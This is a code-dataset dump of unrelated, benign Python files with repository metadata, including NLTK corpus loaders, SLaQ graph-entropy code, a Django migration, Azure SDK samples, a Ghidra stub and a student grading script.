LazyCorpusLoader( # 'hebrew_treebank', BracketParseCorpusReader, r'.*\.txt') ieer = LazyCorpusLoader( 'ieer', IEERCorpusReader, r'(?!README|\.).*') inaugural = LazyCorpusLoader( 'inaugural', PlaintextCorpusReader, r'(?!\.).*\.txt') # [XX] This should probably just use TaggedCorpusReader: indian = LazyCorpusLoader( 'indian', IndianCorpusReader, r'(?!\.).*\.pos', tag_mapping_function=simplify_indian_tag) ipipan = LazyCorpusLoader( 'ipipan', IPIPANCorpusReader, r'(?!\.).*morph\.xml') mac_morpho = LazyCorpusLoader( 'mac_morpho', MacMorphoCorpusReader, r'(?!\.).*\.txt', tag_mapping_function=simplify_tag, encoding='latin-1') machado = LazyCorpusLoader( 'machado', PortugueseCategorizedPlaintextCorpusReader, r'(?!\.).*\.txt', cat_pattern=r'([a-z]*)/.*', encoding='latin-1') movie_reviews = LazyCorpusLoader( 'movie_reviews', CategorizedPlaintextCorpusReader, r'(?!\.).*\.txt', cat_pattern=r'(neg|pos)/.*') names = LazyCorpusLoader( 'names', WordListCorpusReader, r'(?!\.).*\.txt') nps_chat = LazyCorpusLoader( 'nps_chat', NPSChatCorpusReader, r'(?!README|\.).*\.xml', tag_mapping_function=simplify_wsj_tag) pl196x = LazyCorpusLoader( 'pl196x', Pl196xCorpusReader, r'[a-z]-.*\.xml', cat_file='cats.txt', textid_file='textids.txt') ppattach = LazyCorpusLoader( 'ppattach', PPAttachmentCorpusReader, ['training', 'test', 'devset']) qc = LazyCorpusLoader( 'qc', StringCategoryCorpusReader, ['train.txt', 'test.txt']) reuters = LazyCorpusLoader( 'reuters', CategorizedPlaintextCorpusReader, '(training|test).*', cat_file='cats.txt') rte = LazyCorpusLoader( 'rte', RTECorpusReader, r'(?!\.).*\.xml') semcor = LazyCorpusLoader( 'semcor', XMLCorpusReader, r'brown./tagfiles/br-.*\.xml') senseval = LazyCorpusLoader( 'senseval', SensevalCorpusReader, r'(?!\.).*\.pos') shakespeare = LazyCorpusLoader( 'shakespeare', XMLCorpusReader, r'(?!\.).*\.xml') sinica_treebank = LazyCorpusLoader( 'sinica_treebank', SinicaTreebankCorpusReader, ['parsed'], tag_mapping_function=simplify_tag) state_union = LazyCorpusLoader( 'state_union', PlaintextCorpusReader, r'(?!\.).*\.txt') stopwords = LazyCorpusLoader( 'stopwords', WordListCorpusReader, r'(?!README|\.).*') swadesh = LazyCorpusLoader( 'swadesh', SwadeshCorpusReader, r'(?!README|\.).*') switchboard = LazyCorpusLoader( 'switchboard', SwitchboardCorpusReader) timit = LazyCorpusLoader( 'timit', TimitCorpusReader) toolbox = LazyCorpusLoader( 'toolbox', ToolboxCorpusReader, r'(?!.*(README|\.)).*\.(dic|txt)') treebank = LazyCorpusLoader( 'treebank/combined', BracketParseCorpusReader, r'wsj_.*\.mrg', tag_mapping_function=simplify_wsj_tag) treebank_chunk = LazyCorpusLoader( 'treebank/tagged', ChunkedCorpusReader, r'wsj_.*\.pos', sent_tokenizer=RegexpTokenizer(r'(?<=/\.)\s*(?![^\[]*\])', gaps=True), para_block_reader=tagged_treebank_para_block_reader) treebank_raw = LazyCorpusLoader( 'treebank/raw', PlaintextCorpusReader, r'wsj_.*') udhr = LazyCorpusLoader( 'udhr', PlaintextCorpusReader, r'(?!README|\.).*', # Encodings specified in filenames but not mapped to anything: # DallakHelv, VIQR, Cyrillic+Abkh, WinResearcher, font, # Afenegus6..60375, VG2Main, VPS, Turkish, TCVN, Az.Times.Lat0117, # EUC, Baltic, err, Az.Times.Cyr.Normal0117, T61, Amahuaca, Agra encoding=[('.*-UTF8$', 'utf-8'), ('.*-Latin1$', 'latin-1'), ('.*-Hebrew$', 'hebrew'), ('.*-Arabic$', 'arabic'), ('.*-Cyrillic$', 'cyrillic'), ('.*-SJIS$', 'SJIS'), ('.*-GB2312$', 'GB2312'), ('.*-Latin2$', 'ISO-8859-2'), ('.*-Greek$', 'greek'), ('.*-UFT8$', 'utf-8'), ('Hungarian_Magyar-Unicode', 'utf-16-le')] ) verbnet = LazyCorpusLoader( 'verbnet', VerbnetCorpusReader, r'(?!\.).*\.xml') webtext = LazyCorpusLoader( 'webtext', PlaintextCorpusReader, r'(?!README|\.).*\.txt') wordnet = LazyCorpusLoader( 'wordnet', WordNetCorpusReader) wordnet_ic = LazyCorpusLoader( 'wordnet_ic', WordNetICCorpusReader, '.*\.dat') words = LazyCorpusLoader( 'words', WordListCorpusReader, r'(?!README|\.).*') ycoe = LazyCorpusLoader( 'ycoe', YCOECorpusReader) # defined after treebank propbank = LazyCorpusLoader( 'propbank', PropbankCorpusReader, 'prop.txt', 'frames/.*\.xml', 'verbs.txt', lambda filename: re.sub(r'^wsj/\d\d/', '', filename), treebank) # Must be defined *after* treebank corpus. nombank = LazyCorpusLoader( 'nombank.1.0', NombankCorpusReader, 'nombank.1.0', 'frames/.*\.xml', 'nombank.1.0.words', lambda filename: re.sub(r'^wsj/\d\d/', '', filename), treebank) # Must be defined *after* treebank corpus. def demo(): # This is out-of-date: abc.demo() brown.demo() # chat80.demo() cmudict.demo() conll2000.demo() conll2002.demo() genesis.demo() gutenberg.demo() ieer.demo() inaugural.demo() indian.demo() names.demo() ppattach.demo() senseval.demo() shakespeare.demo() sinica_treebank.demo() state_union.demo() stopwords.demo() timit.demo() toolbox.demo() treebank.demo() udhr.demo() webtext.demo() words.demo() # ycoe.demo() if __name__ == '__main__': #demo() pass
[ "markmo@me.com" ]
markmo@me.com
d44084bd0082b1994125b02a466cdac8bbb39e1c
e10a6d844a286db26ef56469e31dc8488a8c6f0e
/graph_embedding/slaq/slaq.py
c5b398335c01701b00c343f9a6e09a7eb1c38303
[ "Apache-2.0", "CC-BY-4.0" ]
permissive
Jimmy-INL/google-research
54ad5551f97977f01297abddbfc8a99a7900b791
5573d9c5822f4e866b6692769963ae819cb3f10d
refs/heads/master
2023-04-07T19:43:54.483068
2023-03-24T16:27:28
2023-03-24T16:32:17
282,682,170
1
0
Apache-2.0
2020-07-26T15:50:32
2020-07-26T15:50:31
null
UTF-8
Python
false
false
4,522
py
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Main SLaQ interface for approximating graph descritptors NetLSD and VNGE.""" import numpy as np from scipy.sparse.base import spmatrix from graph_embedding.slaq.slq import slq from graph_embedding.slaq.util import laplacian def _slq_red_var_netlsd(matrix, lanczos_steps, nvectors, timescales): """Computes unnormalized NetLSD signatures of a given matrix. Uses the control variates method to reduce the variance of NetLSD estimation. Args: matrix (sparse matrix): Input adjacency matrix of a graph. lanczos_steps (int): Number of Lanczos steps. nvectors (int): Number of random vectors for stochastic estimation. timescales (np.ndarray): Timescale parameter for NetLSD computation. Default value is the one used in both NetLSD and SLaQ papers. Returns: np.ndarray: Approximated NetLSD descriptors. """ functions = [np.exp, lambda x: x] traces = slq(matrix, lanczos_steps, nvectors, functions, -timescales) subee = traces[0, :] - traces[1, :] / np.exp(timescales) sub = -timescales * matrix.shape[0] / np.exp(timescales) return np.array(subee + sub) def _slq_red_var_vnge(matrix, lanczos_steps, nvectors): """Approximates Von Neumann Graph Entropy (VNGE) of a given matrix. Uses the control variates method to reduce the variance of VNGE estimation. Args: matrix (sparse matrix): Input adjacency matrix of a graph. lanczos_steps (int): Number of Lanczos steps. nvectors (int): Number of random vectors for stochastic estimation. Returns: float: Approximated von Neumann graph entropy. """ functions = [lambda x: -np.where(x > 0, x * np.log(x), 0), lambda x: x] traces = slq(matrix, lanczos_steps, nvectors, functions).ravel() return traces[0] - traces[1] + 1 def vnge(adjacency, lanczos_steps = 10, nvectors = 100): """Computes Von Neumann Graph Entropy (VNGE) using SLaQ. Args: adjacency (scipy.sparse.base.spmatrix): Input adjacency matrix of a graph. lanczos_steps (int): Number of Lanczos steps. Setting lanczos_steps=10 is the default from SLaQ. nvectors (int): Number of random vectors for stochastic estimation. Setting nvectors=10 is the default values from the SLaQ paper. Returns: float: Approximated VNGE. """ if adjacency.nnz == 0: # By convention, if x=0, x*log(x)=0. return 0 density = laplacian(adjacency, False) density.data /= np.sum(density.diagonal()).astype(np.float32) return _slq_red_var_vnge(density, lanczos_steps, nvectors) def netlsd(adjacency, timescales = np.logspace(-2, 2, 256), lanczos_steps = 10, nvectors = 100, normalization = None): """Computes NetLSD descriptors using SLaQ. Args: adjacency (sparse matrix): Input adjacency matrix of a graph. timescales (np.ndarray): Timescale parameter for NetLSD computation. Default value is the one used in both NetLSD and SLaQ papers. lanczos_steps (int): Number of Lanczos steps. Setting lanczos_steps=10 is the default from SLaQ. nvectors (int): Number of random vectors for stochastic estimation. Setting nvectors=10 is the default values from the SLaQ paper. normalization (str): Normalization type for NetLSD. Returns: np.ndarray: Approximated NetLSD descriptors. """ lap = laplacian(adjacency, True) hkt = _slq_red_var_netlsd(lap, lanczos_steps, nvectors, timescales) # Approximated Heat Kernel Trace (hkt). if normalization is None: return hkt n = lap.shape[0] if normalization == 'empty': return hkt / n elif normalization == 'complete': return hkt / (1 + (n - 1) * np.exp(-timescales)) elif normalization is None: return hkt else: raise ValueError( "Unknown normalization type: expected one of [None, 'empty', 'complete'], got", normalization)
[ "copybara-worker@google.com" ]
copybara-worker@google.com
3fc64ef0e80d80509d96c399a394a6be9418809f
53fa2c914dd1183c7ba8a2c5f564e0c0c1cbaedd
/Gym/web_athlete/migrations/0015_auto_20180804_1844.py
920df02025b7d21d684f49208b13ebbc56544c88
[ "MIT" ]
permissive
ahmadreza-smdi/GymManagement
718c8dbeddc968097643a413b2ad7d882d0b864f
03f4d6d7b8d8ebefc70c2e921b64888afc3e6b28
refs/heads/master
2021-06-19T14:56:41.021617
2019-11-24T20:58:56
2019-11-24T20:58:56
142,736,163
6
1
MIT
2021-06-10T20:43:43
2018-07-29T06:20:07
Python
UTF-8
Python
false
false
1,347
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2018-08-04 18:44 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('web_athlete', '0014_auto_20180804_1801'), ] operations = [ migrations.AddField( model_name='time_option', name='username', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), preserve_default=False, ), migrations.AlterField( model_name='class_times', name='Open_times', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='web_athlete.Time_option'), ), migrations.AlterField( model_name='fields', name='class_time', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='web_athlete.Class_times'), ), migrations.AlterField( model_name='member', name='field', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='web_athlete.Fields'), ), ]
[ "ahmadreza.smdi@gmail.com" ]
ahmadreza.smdi@gmail.com
443e27562eaab35764faa3c919b8368e9c63009e
064190a2de1ad156e1060f0efdee7e754a96b4bb
/9.7.py
32b4343aa60f537c7519d6b2836ff21ac1c9f9cf
[]
no_license
zqy1/pythonCookbook
7254fadf3fac277b107941bc32e4716de3f7c329
89a05a2a4d723fb49548e0e87d2542bd5d07fbee
refs/heads/master
2020-08-03T17:27:09.351396
2015-09-18T13:05:14
2015-09-18T13:05:14
73,540,483
1
0
null
2016-11-12T08:14:50
2016-11-12T08:14:50
null
UTF-8
Python
false
false
1,366
py
# -*- coding: utf-8 -*- """ 9.7.py ~~~~~~ 利用装饰器对函数参数进行强制类型检查 """ # 函数签名对象的应用 from inspect import signature from functools import wraps, partial def typeassert(*ty_args, **ty_kwargs): def decorate(func): if not __debug__: """如果不是调试模式,不进行参数检查""" return func sig = signature(func) # sig 返回函数有关参数返回值信息 --> 签名 # 利用 bind_partial 函数将参数值与类型绑定 bound_types = sig.bind_partial(*ty_args, **ty_kwargs).arguments @wraps(func) def wrapper(*args, **kwargs): bound_values = sig.bind(*args, **kwargs) # 强制类型检查 for name, value in bound_values.arguments.items(): if name in bound_types: if not isinstance(value, bound_types[name]): raise TypeError( 'Argument {} must be {}'.format(name, bound_types[name]) ) return func(*args, **kwargs) return wrapper return decorate # 使用这个装饰器 # 通过参数指定类型检查 @typeassert(int, int) def add(x:int, y:int) -> int: print (x + y) # test1 add(2, 4) # test2 add('neo1218', 5) # test3 add(3, y=6)
[ "neo1218@yeah.net" ]
neo1218@yeah.net
5fcfd400e2e36486c52783aa82476ba6e3b3c8ae
107fdd20682510440fc002c5b26ce6d51227d23d
/p49_misc/p49b_wave_evol.py
a30801b43baef3bcc3028dfa78aad20ca2dccb16
[]
no_license
dcollins4096/ytscripts
bddb1a82b30d533e5789a16109dca9226713c76d
52d8337dbbcba5d004663ec2cd1d2a15503c952d
refs/heads/master
2022-07-29T07:44:18.847626
2022-07-18T13:17:11
2022-07-18T13:17:11
185,677,619
0
0
null
null
null
null
UTF-8
Python
false
false
5,258
py
if 'ef' not in dir(): execfile('go') for i in range(3): print("====================") import enzo_write reload(enzo_write) import p49_eigen reload(p49_eigen) import p49_plot_tools reload(p49_plot_tools) import matplotlib.colors as colors def nz(field): nz = np.abs(field) > 1e-13 return field[nz] frame_list=[0] this_formt = 'png' get_from='ic' #plot_style = 'r_theta' #plot_style = 'proj' plot_style = 'hist_tot' if 1: if 'lazy_ds' not in dir(): lazy_ds = {} for frame in frame_list: if 1: if 0: this_name = 'y701' directory = '/Users/dcollins/scratch/Paper49b_play/Eigen/y701_rb96_fft_f-_play' if 0: this_name = 'r801' directory = '/Users/dcollins/scratch/Paper49b_play/Eigen/r801_rj95_110_f-' if 0: this_name = 'rA01' directory = '/Users/dcollins/scratch/Paper49b_play/Eigen/rA01_rb96_110_f-' if 1: this_name = 'rB01' directory = '/Users/dcollins/scratch/Paper49b_play/Eigen/rB01_rb_several' #frame//wave//xy//xz//yz?//real//imag//magnitude//phase #https://matplotlib.org/users/colormapnorms.html plt.close('all') if frame not in lazy_ds: if get_from=='yt': ds = lazy_ds.get(frame,yt.load("%s/DD%04d/data%04d"%(directory,frame,frame))) stuff = p49_eigen.get_cubes_cg(ds) #lazy_ds[frame]=stuff elif get_from=='ic': this_name = 'rB01_ic' stuff = p49_plot.tools.chomp(directory=directory) else: print("Extant Stuff") #lazy_ds[frame]=ds else: stuff = lazy_ds[frame] print_fields = False print_waves = True #these_means = stuff['means'] #these_ffts = p49_eigen.get_ffts(stuff['cubes'], these_means) #kall,wut=p49_eigen.rotate_back(these_ffts, these_means) #kmag = (kall[0,...]**2+kall[1,...]**2+kall[2,...]**2)**0.5 if plot_style == 'hist_tot': oname = '%s_%04d_hist.%s'%(this_name, frame, this_formt) p49_plot_tools.plot_wave_mag(stuff=stuff,output_name=oname) """ fig = plt.figure(figsize=(8,8)) # Notice the equal aspect ratio fig.suptitle('%s_%04d %s'%(this_name,frame,wave)) #ax = [fig.add_subplot(1,1,i+1) for i in range(6)] ax = [fig.add_subplot(1,1,1,projection='polar')] for a in ax: a.set_xticklabels([]) a.set_yticklabels([]) a.set_aspect('equal') all_angle = np.angle(this_fft) flag = np.abs(this_fft) > 1e-9 this_kmag = kmag[flag] this_angle = all_angle[flag] oname = '%s_%04d_%s_rtheta.%s'%(this_name, frame, wave, this_formt) ax[0].scatter(this_angle, this_kmag) for a in ax: a.set_rmax(16) fig.savefig(oname) print(oname) """ if plot_style == 'r_theta': p49_plot_tools.plot_k_rad(wut=wut,prefix="%s_%04d"%(this_name,frame)) if plot_style == 'proj': p49_plot_tools.plot_k_proj(wut=wut,prefix="%s_%04d"%(this_name,frame)) if 0: #old shit? #Test. Frame 0 has only f-. frame = 0 directory = '/Users/dcollins/scratch/Paper49b_play/Eigen/y701_rb96_fft_f-_play' ds = yt.load("%s/DD%04d/data%04d"%(directory,frame,frame)) stuff = p49_eigen.get_cubes_cg(ds) these_means = stuff['means'] these_ffts = p49_eigen.get_ffts(stuff['cubes'], these_means) print_fields = False print_waves = True kall,wut=p49_eigen.rotate_back(these_ffts, these_means) fl = np.zeros_like(wut.wave_frame['d']).astype('bool') if print_fields: for field in wut.wave_frame: print(" ===== %s ===="%field) thisthing = wut.wave_frame[field] thisthing = wut.dumb[field] this_bool = np.abs(thisthing) > 1e-13 #fl = np.logical_or(fl, this_bool) nonzeros = len( this_bool ) print(" eigen %s"%str(tsfft.right['f-'][field])) print(" rot %s"%str(tsfft.rot[field])) print("all_hat %3s %s"%(field, nz(tsfft.all_hats[field]))) aaa = these_ffts[field] #is good. print("also fft input k %3s %s"%(field, str(nz(aaa).size))) print("this wave frame k %3s %s"%(field, str(nz(thisthing).size))) if print_waves: for wave in wut.wave_content: thisthing = wut.wave_content[wave] bang_or_not = "" if ( np.abs(thisthing)>1e-12).sum() > 0: bang_or_not = "!!!"*8 + " meann %0.2e max %0.2e"%(np.mean(np.abs(thisthing)),np.abs(thisthing).max()) print("=== Wave %s %s"%(wave, bang_or_not)) s1 = str(nz(thisthing.real).size) s2 = str(nz(thisthing.imag).size) print("wave real nz %s imag %s"%(s1,s2))
[ "none@none" ]
none@none
41a662baf31d2a62914571ab1a7592adfc372ea5
98c6ea9c884152e8340605a706efefbea6170be5
/examples/data/Assignment_6/wrtjos001/question4.py
af7b9aca381af051a7c7950504ed8316f3d9ed66
[]
no_license
MrHamdulay/csc3-capstone
479d659e1dcd28040e83ebd9e3374d0ccc0c6817
6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2
refs/heads/master
2021-03-12T21:55:57.781339
2014-09-22T02:22:22
2014-09-22T02:22:22
22,372,174
0
0
null
null
null
null
UTF-8
Python
false
false
699
py
"""Assignment 6 Question 4 histogram reprentation of marks joshua wort 20 april 2014""" #get list of marks mark=input("Enter a space-separated list of marks:\n") marks=mark.split(" ") #variables F="" third="" lower_second="" upper_second="" first="" #sort marks into categories for mark in marks: if eval(mark)<50: F+="X" elif eval(mark)<60: third+="X" elif eval(mark)<70: lower_second+="X" elif eval(mark)<75: upper_second+="X" else: first+="X" #print histogram print("1 |",first,sep="") print("2+|",upper_second,sep="") print("2-|",lower_second,sep="") print("3 |",third,sep="") print("F |",F,sep="")
[ "jarr2000@gmail.com" ]
jarr2000@gmail.com
6cc0276162bd2ed931565851eac5f8bd360435a6
87ac76b8aae5bf1c8a1530cd317972e4cf54fd62
/azext_iot/sdk/dps/service/models/device_capabilities.py
271a4829262e4d8e1f1b373d3572d394b0ccbf2c
[ "MIT" ]
permissive
montgomp/azure-iot-cli-extension
911dbb10bb27d1b4ba2446fad4e37014c99bea6e
7dee61b369f5dd7c7b9753edfc87b8ed35841c72
refs/heads/dev
2023-08-28T18:58:16.052628
2021-10-21T21:13:11
2021-10-21T21:13:11
271,131,011
1
1
NOASSERTION
2020-08-05T15:56:03
2020-06-09T23:30:08
Python
UTF-8
Python
false
false
1,094
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class DeviceCapabilities(Model): """Device capabilities. All required parameters must be populated in order to send to Azure. :param iot_edge: Required. If set to true, this device is an IoTEdge device. Default value: False . :type iot_edge: bool """ _validation = { 'iot_edge': {'required': True}, } _attribute_map = { 'iot_edge': {'key': 'iotEdge', 'type': 'bool'}, } def __init__(self, **kwargs): super(DeviceCapabilities, self).__init__(**kwargs) self.iot_edge = kwargs.get('iot_edge', False)
[ "noreply@github.com" ]
montgomp.noreply@github.com
878bf8ebbffb082312d112adc9e428be9d482b7c
aa0270b351402e421631ebc8b51e528448302fab
/sdk/containerservice/azure-mgmt-containerservice/generated_samples/managed_clusters_start.py
72576c0ff6c89fa7ed554926a27a70117d305085
[ "MIT", "LGPL-2.1-or-later", "LicenseRef-scancode-generic-cla" ]
permissive
fangchen0601/azure-sdk-for-python
d04a22109d0ff8ff209c82e4154b7169b6cb2e53
c2e11d6682e368b2f062e714490d2de42e1fed36
refs/heads/master
2023-05-11T16:53:26.317418
2023-05-04T20:02:16
2023-05-04T20:02:16
300,440,803
0
0
MIT
2020-10-16T18:45:29
2020-10-01T22:27:56
null
UTF-8
Python
false
false
1,579
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from azure.identity import DefaultAzureCredential from azure.mgmt.containerservice import ContainerServiceClient """ # PREREQUISITES pip install azure-identity pip install azure-mgmt-containerservice # USAGE python managed_clusters_start.py Before run the sample, please set the values of the client ID, tenant ID and client secret of the AAD application as environment variables: AZURE_CLIENT_ID, AZURE_TENANT_ID, AZURE_CLIENT_SECRET. For more info about how to get the value, please see: https://docs.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal """ def main(): client = ContainerServiceClient( credential=DefaultAzureCredential(), subscription_id="subid1", ) response = client.managed_clusters.begin_start( resource_group_name="rg1", resource_name="clustername1", ).result() print(response) # x-ms-original-file: specification/containerservice/resource-manager/Microsoft.ContainerService/aks/stable/2023-03-01/examples/ManagedClustersStart.json if __name__ == "__main__": main()
[ "noreply@github.com" ]
fangchen0601.noreply@github.com
01784bb1eed1a0d1dc4408f4dfd22848c152afd1
786027545626c24486753351d6e19093b261cd7d
/ghidra9.2.1_pyi/ghidra/app/plugin/core/datamgr/actions/DeleteArchiveAction.pyi
40829decee32b762b3894713f6a134b1ed84c7c4
[ "MIT" ]
permissive
kohnakagawa/ghidra_scripts
51cede1874ef2b1fed901b802316449b4bf25661
5afed1234a7266c0624ec445133280993077c376
refs/heads/main
2023-03-25T08:25:16.842142
2021-03-18T13:31:40
2021-03-18T13:31:40
338,577,905
14
1
null
null
null
null
UTF-8
Python
false
false
3,409
pyi
import docking import docking.action import ghidra.util import java.beans import java.lang import java.util import java.util.function import javax.swing class DeleteArchiveAction(docking.action.DockingAction): def __init__(self, __a0: ghidra.app.plugin.core.datamgr.DataTypeManagerPlugin): ... def actionPerformed(self, __a0: docking.ActionContext) -> None: ... def addPropertyChangeListener(self, __a0: java.beans.PropertyChangeListener) -> None: ... def createButton(self) -> javax.swing.JButton: ... def createMenuItem(self, __a0: bool) -> javax.swing.JMenuItem: ... def dispose(self) -> None: ... def enabledWhen(self, __a0: java.util.function.Predicate) -> None: ... def equals(self, __a0: object) -> bool: ... def firePropertyChanged(self, __a0: unicode, __a1: object, __a2: object) -> None: ... def getClass(self) -> java.lang.Class: ... def getDefaultKeyBindingData(self) -> docking.action.KeyBindingData: ... def getDescription(self) -> unicode: ... def getFullName(self) -> unicode: ... def getHelpInfo(self) -> unicode: ... def getHelpObject(self) -> object: ... def getInceptionInformation(self) -> unicode: ... def getKeyBinding(self) -> javax.swing.KeyStroke: ... def getKeyBindingData(self) -> docking.action.KeyBindingData: ... def getKeyBindingType(self) -> docking.action.KeyBindingType: ... def getMenuBarData(self) -> docking.action.MenuData: ... def getName(self) -> unicode: ... def getOwner(self) -> unicode: ... def getOwnerDescription(self) -> unicode: ... def getPopupMenuData(self) -> docking.action.MenuData: ... def getToolBarData(self) -> docking.action.ToolBarData: ... def hashCode(self) -> int: ... def isAddToPopup(self, __a0: docking.ActionContext) -> bool: ... def isEnabled(self) -> bool: ... def isEnabledForContext(self, __a0: docking.ActionContext) -> bool: ... def isValidContext(self, __a0: docking.ActionContext) -> bool: ... def markHelpUnnecessary(self) -> None: ... def notify(self) -> None: ... def notifyAll(self) -> None: ... def popupWhen(self, __a0: java.util.function.Predicate) -> None: ... def removePropertyChangeListener(self, __a0: java.beans.PropertyChangeListener) -> None: ... def setDescription(self, __a0: unicode) -> None: ... def setEnabled(self, __a0: bool) -> None: ... def setHelpLocation(self, __a0: ghidra.util.HelpLocation) -> None: ... def setKeyBindingData(self, __a0: docking.action.KeyBindingData) -> None: ... def setMenuBarData(self, __a0: docking.action.MenuData) -> None: ... def setPopupMenuData(self, __a0: docking.action.MenuData) -> None: ... def setSupportsDefaultToolContext(self, __a0: bool) -> None: ... def setToolBarData(self, __a0: docking.action.ToolBarData) -> None: ... def setUnvalidatedKeyBindingData(self, __a0: docking.action.KeyBindingData) -> None: ... def shouldAddToWindow(self, __a0: bool, __a1: java.util.Set) -> bool: ... def supportsDefaultToolContext(self) -> bool: ... def toString(self) -> unicode: ... def validContextWhen(self, __a0: java.util.function.Predicate) -> None: ... @overload def wait(self) -> None: ... @overload def wait(self, __a0: long) -> None: ... @overload def wait(self, __a0: long, __a1: int) -> None: ...
[ "tsunekou1019@gmail.com" ]
tsunekou1019@gmail.com
7873a3bafeebce9c3624c8c3a5b2b8862708fd5e
61ef327bd1d5ff6db7595221db6823c947dab42b
/FlatData/EndCondition.py
6c4cf20c8a8847cbbfba3d3009e7e7918cb49579
[]
no_license
Aikenfell/Blue-Archive---Asset-Downloader
88e419686a80b20b57a10a3033c23c80f86d6bf9
92f93ffbdb81a47cef58c61ec82092234eae8eec
refs/heads/main
2023-09-06T03:56:50.998141
2021-11-19T12:41:58
2021-11-19T12:41:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
248
py
# automatically generated by the FlatBuffers compiler, do not modify # namespace: FlatData class EndCondition(object): Duration = 0 ReloadCount = 1 AmmoCount = 2 AmmoHit = 3 HitCount = 4 None_ = 5 UseExSkillCount = 6
[ "rkolbe96@gmail.com" ]
rkolbe96@gmail.com
861f15ba01e952a68448af0f114c2835c1095cb6
f56b6d816532174baf6054db443a467143b250df
/FiloBlu/process.py
6597c9175ba0d01116b8f86566a73574129c5c7b
[ "MIT" ]
permissive
Nico-Curti/FiloBluService
61eddb6f5b8a4c1c3fa66ba84fc4a7e9e4d8eeda
78fa802e37409b7826f2a5e96772fe79a5ba5e5a
refs/heads/master
2020-05-23T05:47:38.590459
2020-01-23T17:16:17
2020-01-23T17:16:17
186,654,530
2
0
NOASSERTION
2020-01-09T16:35:52
2019-05-14T15:52:58
Python
UTF-8
Python
false
false
4,610
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import time __author__ = 'Nico Curti' __email__ = 'nico.curti2@unibo.it' # global variables that must be set and used in the following class # The paths are relative to the current python file DICTIONARY = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'data', 'updated_dictionary.dat')) MODEL = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'data', 'dual_w_0_2_class_ind_cw.h5')) CONFIGFILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'data', 'config.json')) LOGFILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'logs', 'filo_blu_process_service.log')) UPDATE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'updates')) def parse_args(): """ Just a simple parser of the command line. There are not required parameters because the scripts can run also with the set of default variables set at the beginning of this script. ----- Return args : object - Each member of the object identify a different command line argument (properly casted) """ import argparse description = 'Filo Blu Process Service' parser = argparse.ArgumentParser(description = description) parser.add_argument('--config', dest='config', type=str, required=False, action='store', help='Json configuration file for DB credentials', default=CONFIGFILE ) parser.add_argument('--logs', dest='logs', type=str, required=False, action='store', help='Log filename with absolute path', default=LOGFILE ) parser.add_argument('--network_model', dest='model', type=str, required=False, action='store', help='Network Model weights filename', default=MODEL ) parser.add_argument('--dictionary', dest='dictionary', type=str, required=False, action='store', help='Word dictionary sorted by frequency', default=DICTIONARY ) parser.add_argument('--update_dir', dest='update_dir', type=str, required=False, action='store', help='Directory in which update models are stored', default=UPDATE_DIR ) args = parser.parse_args() args.config = os.path.abspath(args.config) args.logs = os.path.abspath(args.logs) args.model = os.path.abspath(args.model) args.dictionary = os.path.abspath(args.dictionary) args.update_dir = os.path.abspath(args.update_dir) # Create the logs directory if it does not exist. log_directory = os.path.dirname(LOGFILE) os.makedirs(log_directory, exist_ok=True) os.makedirs(args.update_dir, exist_ok=True) return args if __name__ == '__main__': """ This main represent the tensorflow process service called by 'filoblu_service_tf.py' and it perform the right sequence of calls that can be found also in the 'filoblu_service_np.py' script in the main loop of the service object. """ args = parse_args() from database import FiloBluDB db = FiloBluDB(args.config, args.logs) db.get_logger.info('LOADING PROCESSING MODEL...') try: from network_model_tf import NetworkModel net = NetworkModel(args.model) db.get_logger.info('MODEL LOADED') except Exception as e: db.log_error(e) db.get_logger.info('LOADING WORD DICTIONARY...') try: from misc import read_dictionary dictionary = read_dictionary(args.dictionary) db.get_logger.info('DICTIONARY LOADED') except Exception as e: db.log_error(e) db.callback_read_last_messages() time.sleep(10) db.callback_process_messages(net, dictionary) time.sleep(10) db.callback_write_score_messages() db.callback_load_new_weights(args.model, args.update_dir) db.callback_clear_log() db.callback_score_history_log(args.update_dir) db.get_logger.info('FILO BLU Service: STARTING UP') while True: if db._wait: net = NetworkModel(args.model) db._wait = False db.log_error('FILO BLU Service: SHUTDOWN')
[ "nico.curti2@unibo.it" ]
nico.curti2@unibo.it
cdbb77434240451c649c927be9399be79278f4f5
cc7b0e228b4a0717eedd5410a66f72039c8f6960
/project/twitter/rest.py
0b3eb658ab53d91c894d8203ea6abff91349bb93
[]
no_license
lixiaochun/PyCrawler
870740b93835749a071a1e07a5cac4a5051a091c
7e7de51087c69d97649d78c31f9f70ab94d70383
refs/heads/master
2020-03-15T11:57:57.373199
2018-05-02T09:39:15
2018-05-02T09:39:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,645
py
